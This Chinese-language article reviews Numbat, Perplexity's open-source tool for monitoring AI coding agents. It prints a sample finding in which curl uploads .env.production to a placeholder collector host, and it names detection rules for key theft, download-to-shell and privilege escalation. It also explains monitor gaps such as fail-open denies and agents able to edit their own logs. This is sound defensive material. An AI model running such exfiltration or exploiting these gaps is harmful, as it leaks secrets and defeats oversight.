Numbat 監看 AI agent 到底做了什麼
Perplexity 開源 Numbat,從 coding agent 的 hooks 與工作階段檔案重建活動。了解它能偵測什麼、可阻擋哪些操作,以及無法復原哪些未保存行為。
Numbat 的用途
Numbat 可讓你掌握自有機器上 AI 代理程式執行的操作。它會讀取 coding agent 已產生的 hook callback 與工作階段檔案,將其正規化為統一的事件格式,再依規則比對事件。這些規則可針對讀取 SSH 私密金鑰,或直接將下載內容透過管線傳給 shell 等行為觸發警示。Perplexity 以 Apache 2.0 授權將 Numbat 開放原始碼,第一個標記版本於 29 July 2026 發布。
以下內容均來自該專案的 repository 與官方文件,閱讀日期為 2 August 2026。本文也於 12 October 2026 再次對照 repository,確認發布歷程、安裝需求、記錄結構描述與支援的代理程式。凡是 Perplexity 的主張,本文都會明確標示。這不是安裝教學,因為該 repository 尚處於早期階段,相關命令可能會變更。
問題:沒有人記錄 agent 做了什麼
VPS 上的 coding agent 會以你交給它的使用者身分執行 shell 命令、讀取檔案、寫入檔案及建立網路連線。Shell 歷程不會記錄這些操作,因為 agent 並不是在你的 shell 中輸入命令。sshd 只會記錄你的登入行為,不會記錄模型之後決定執行的操作。除非有程序存取 sudo,否則 /var/log/auth.log 不會留下紀錄。Agent 會自行保存工作階段記錄,但該檔案位於 agent 的工作階段目錄中,格式會隨版本更新而變更,而且 agent 自身的程序也能寫入該檔案。
因此,當有人問 agent 上週二是否讀取過 .env.production 時,大多數伺服器能給出的誠實答案是:無法確認。這個缺口就是本專案存在的原因。
Perplexity 宣稱 Numbat 的功能
README 開頭將這項工具描述為「提供 AI 代理程式活動的端點可視性,具備本機偵測、可選的動作前封鎖,以及鑑識重建功能」。這裡的端點是指代理程式執行所在的機器,而不是從外部監看的網路設備。這些是不同的功能,重要性也各不相同。
偵測在裝置上執行。規則使用 CEL(通用運算式語言)撰寫並在本機評估,另外支援多步驟序列規則,以及以 YAML 撰寫自訂規則。規則觸發時,不需要將任何資料傳出機器。
封鎖功能是可選的,範圍也有限。它只能透過同步的動作前 hook 運作,而且只適用於提供此 hook 的代理程式。除非手動啟用,否則預設為關閉。
重建會在事後進行。numbat scan 會解析代理程式先前寫入磁碟的工作階段成品,因此即使在安裝工具之前發生的活動,也能進行檢視。專案明確限制了這項說法:「靜態資料重建不是磁碟或記憶體擷取,也無法復原代理程式未持久化的活動。」
輸出採用具版本控管的 NDJSON(以換行分隔的 JSON),涵蓋事件、發現項目、執行決策、指標與掃描摘要。截至 v0.1.2,結構描述版本為 0.2.0。此後結構描述已有變更:2026 年 10 月 12 日,儲存庫中同時包含 0.2.0、0.3.0 與 0.4.0 版本,而 README 中的記錄範例顯示為 0.4.0。記錄可寫入 stdout 或本機檔案,也可選擇透過 HTTP 傳送至自行執行的收集器。它以未使用 cgo 建置的單一靜態 Go binary 發行,支援 amd64 與 arm64 架構上的 macOS、Linux 和 Windows。因此,在 Linux VPS 上只需使用單一檔案,不必先安裝執行環境。
Numbat 實際上能看見哪些 agent?
docs/agent-coverage.md 中的涵蓋矩陣是權威清單,但支援範圍並不一致。專案文件明確說明了這一點,沒有刻意隱藏限制。Claude Code、Codex、Gemini CLI、Cursor 和 GitHub Copilot CLI 都支援 artifact 掃描,以及搭配 pre-action hook 的即時擷取。OpenClaw 自 2026.7.1 版起提供原生 plugin。許多項目標記為 deferred,表示存在即時 hook 路徑,但沒有 artifact parser。常見原因是該 agent 將歷程儲存在 SQLite 中,並使用 write-ahead log;agent 執行時讀取這類資料並不安全。Cline CLI 就屬於這一類:其即時 hook 可正常運作,但不會解析 SQLite 工作階段。OpenCode 的情況較為特殊。v0.1.2 矩陣會解析較早的 JSON 儲存資料,僅將目前的 opencode.db database 列為 deferred;矩陣沒有列出 OpenCode 的 pre-action enforcement,而且截至 12 October 2026,main 上的矩陣仍維持相同內容。
在根據這項工具規劃任何作法前,請先查看你的 agent 所在列,因為在幾乎每一列中,「支援」代表的內容都不同。
偵測結果的樣貌
規則會帶有識別碼,說明規則的用途。secrets.read_private_key涵蓋 SSH key、AWS credentials、kube config 或套件登錄檔登入資訊。當curl或wget的輸出透過管線傳送至直譯器時,exec.download_pipe_shell就會觸發。privilege.elevated_shell會偵測透過sudo、doas、su或pkexec要求互動式 root shell 的情況。impact.cryptomining_launch會比對已知的 miner binary 與 image name。
序列規則會在單一工作階段內串接事件。chain.secret_read_then_egress要求先讀取 secret file,接著執行會將資料傳出的命令。README 提供了以下 finding;該 finding 來自對 2 個 Claude Code pre-action callback 的受控重播,不是來自實際事件。此處僅保留重要欄位:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}請注意記錄中包含"confidence": "medium",也請注意此專案對整類輸出的說明:「Findings are rule matches, not proof of compromise.」讀取 key 後上傳 build artifact 的 deploy script,也會符合相同的序列規則。比對結果正確,但警報是誤報;這正是所有偵測工具通常都會出現的情況。
預設不會阻擋,而且會採 fail-open
Numbat 發布的每項規則都只會監控。要將規則改為阻擋規則,需要明確執行以下工作:將規則的完整 YAML 複製到自有目錄、保留相同的 id、加入 enforce: true、遞增版本,然後驗證並安裝該政策。
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforce接著要判斷你應該對它抱持多少信任。Numbat 的 deny 是回傳給 agent 的回應,而實際拒絕工具呼叫的是 agent。針對 Numbat 本身發生問題時的行為,執行強制指南有明確說明:「格式錯誤的 payload、相關評估錯誤、panic 及輸出失敗,都會抑制 numbat deny。」Hook 輸入上限為 4 MiB,超過大小限制的輸入也會經過相同流程。
該指南也明確說明成功送出的 deny 有何限制:「Fail-open 表示 numbat 不會送出 deny 回應。這不保證工具會執行:主機仍可能提示、拒絕、逾時,或套用其他 hook 或政策。」
因此,這裡的強制執行是防護措施,不是安全邊界。如果程序崩潰,Numbat 不會阻擋該動作,因為每逢異常就讓 agent 停止運作的監控工具,通常一週內就會被移除。這項取捨是合理的。但不要建立一套假設 deny 一定會送達的安全模型。
Numbat 與現有作法的定位
Numbat 在端點上執行,位於 agent 自己的 process tree 中,預設會寫入 ~/.numbat/records.ndjson。以你的使用者身分執行的 agent 可以讀取該檔案,也可以修改它。audit trail 的價值完全取決於周圍的隔離措施,因此你現有的每項控制都應置於這項機制之前,而不是之後。
為 coding agent 提供一次性 VM 可限制不良執行能夠觸及的範圍。在 VPS 上使用 least privilege 使用者 可避免 agent 開啟不應存取的檔案。不要讓 agent 的 context 包含認證資料,才能讓 secrets.read_private_key match 足夠少見,觸發時才值得查看。你為 Claude Code 在 VPS 上設定的 sandbox 仍然負責 containment。Containment 可限制不良執行能夠接觸的內容,而記錄程式碼採用該結構的原因則可降低 agent 做出意外行為、導致你必須查閱 log 的頻率。
Numbat 增加的是記錄,因此應將記錄傳送到 agent 無法觸及的位置。numbat ship 與 HTTP sink 就是為此存在。將 stream 複製到第二台機器,便能讓它從 log file 變成 evidence。事件模型也包含 MCP (model context protocol) 欄位,因此透過你在 VPS 上架設的 MCP server發出的 tool call,會與本機 shell command 一起出現在相同的 stream 中。這很重要,因為只監看 bash 的機制看不到這條路徑。相同的盲點也涵蓋接入作為 agent 搜尋後端的 SearXNG instance;在此情況下,風險是未信任的頁面文字進入 model 的 context,而不是任何 rule 都能比對的 command。
先以唯讀模式測試
安裝固定版本。以下指令會固定使用 v0.1.2;該版本的 README 要求 Go 1.26.5 或更新版本。2026 年 10 月 12 日,main 上的 README 要求 Go 1.26.6 或更新版本。這項需求變更隨 v0.2.0 發布,因此若固定使用較新的 tag,請改用 1.26.6。若不想從原始碼建置,releases 頁面提供附 SHA-256 checksum 的預先建置二進位檔。
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents 會找出主機上已安裝的 agent。numbat scan 會解析磁碟上既有的工作階段產物,並輸出記錄。README 指出,這些指令「不會安裝 hook,也不會變更 agent 設定」,而 numbat「永遠不會執行產物中的 agent 或指令,且只會對已設定的 HTTP sink 發出對外請求」。掃描採唯讀模式,並會遮蔽 secret;一般記錄輸出不會包含完整的原始逐字記錄。
下一步是即時擷取,而這會變更 agent 設定:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all 會將事件、發現、指標及適用的強制執行決策寫入 ~/.numbat/records.ndjson。專案特別提出兩項注意事項。Hook 可能必須先在 agent 內獲得信任,之後才會執行;變更 --enforce 等 flag 後,也必須重新檢視這項信任設定。此外,hook status「驗證的是設定,而不是執行或傳遞」,因此狀態列顯示正常,不代表記錄確實已送達任何位置。
為何這麼新的儲存庫不適合作為相依元件
截至 12 October 2026,公開發布版本為 29 July 2026 的 v0.1.1、1 August 2026 的 v0.1.2,以及 17 August 2026 的 v0.2.0;發布頁面將 v0.2.0 標示為最新版本。撰寫本文時為 2 August 2026,該儲存庫已有 597 顆星。這麼快的數字反映的是 Perplexity 的受眾規模,而不是程式碼能否經得起實際使用。加星代表有人將頁面儲存下來,打算日後查看。
版本號已如實反映它目前的成熟度。v0.1.2 的變更說明主要是憑證遮罩修正,以及案例套件與遙測正規化工作。v0.2.0 的變更說明新增受限的訊息內容擷取、透過其 beforeReadFile hook 強制 Cursor 執行讀取檔案的限制,以及更多遮罩修正。對於用途是安全讀取其他程式轉錄內容的工具而言,遮罩錯誤正是早期缺陷的典型形式;而且這類錯誤還會增加,因為輸入來自十多個代理程式,而各代理程式都按照自己的時程變更格式。
因此有兩項實務規則。凡是要保留的內容,都應固定使用 tag,絕不要使用 @latest。此外,在記錄結構停止變動以前,應將它視為正在評估的工具,而不是可以依賴的控制機制。它目前仍未停止變動:大約十週內,README on main 中的版本就從 v0.1.2 的 0.2.0 變成 0.4.0。
FAQ
Numbat 會阻擋危險的 AI 代理程式命令嗎?
只有在您選擇啟用時才會,而且僅以盡力而為的方式執行。Numbat 隨附的每條規則都只會監控。若要阻擋,請將規則的 YAML 複製到您自己的目錄,保留其 id,加入 enforce: true,遞增版本,然後使用 --enforce 安裝 hook。即使如此,拒絕結果仍是傳回代理程式的回應,實際拒絕呼叫的是代理程式本身。專案文件說明其 fail-open 行為:格式錯誤的 payload、評估錯誤、panic 及輸出失敗都會抑制拒絕結果。請將它視為防護措施,不要把它當成唯一的安全邊界。
Numbat 支援哪些 AI 代理程式?
支援範圍因代理程式而異,並列於 repository 的 docs/agent-coverage.md。截至 2 August 2026 查閱該頁面時,Claude Code、Codex、Gemini CLI、Cursor 和 GitHub Copilot CLI 都支援 artifact scanning 與即時擷取;OpenClaw 則從 version 2026.7.1 起提供原生 plugin。許多其他代理程式雖已列出即時 hook 路徑,但尚未提供 artifact parser,通常是因為其工作階段歷程存放在 SQLite database 中,而代理程式執行時讀取該 database 並不安全。請查看對應您代理程式的列,因為其中的「支援」涵蓋數種不同層級。
代理程式可以竄改 Numbat 的記錄嗎?
可以,前提是它以相同使用者身分執行。記錄預設會寫入與代理程式位於同一台機器上的 ~/.numbat/records.ndjson,因此任何具備該路徑寫入權限的程序都能修改或刪除記錄。請使用 numbat ship 或 HTTP sink,將串流傳送至代理程式無法存取的 collector,並保留本機檔案作為便利副本。這也是工具只能補足 isolation、不能取代 isolation 的原因。若代理程式受限於由 least privilege 使用者執行的 disposable VM,其能存取自身 audit trail 的範圍會小得多。
Numbat 已經適合用於 production server 嗎?
不適合將它作為依賴的控制措施。第一個公開版本是 29 July 2026 的 v0.1.1,接著在 1 August 2026 發布 v0.1.2,並於 17 August 2026 發布 v0.2.0;到了 12 October 2026,README 中的 record schema 已達到 0.4.0,因此 flags 與 record schema 都仍在變動。在主機上執行 numbat agents 和 numbat scan 屬於唯讀且低風險的操作,可用來了解代理程式在磁碟上留下了哪些內容。在重要伺服器上安裝 enforcement hooks 則是另一項決策,應固定使用指定的 tag,並規劃 hook 發生異常時的處理方式。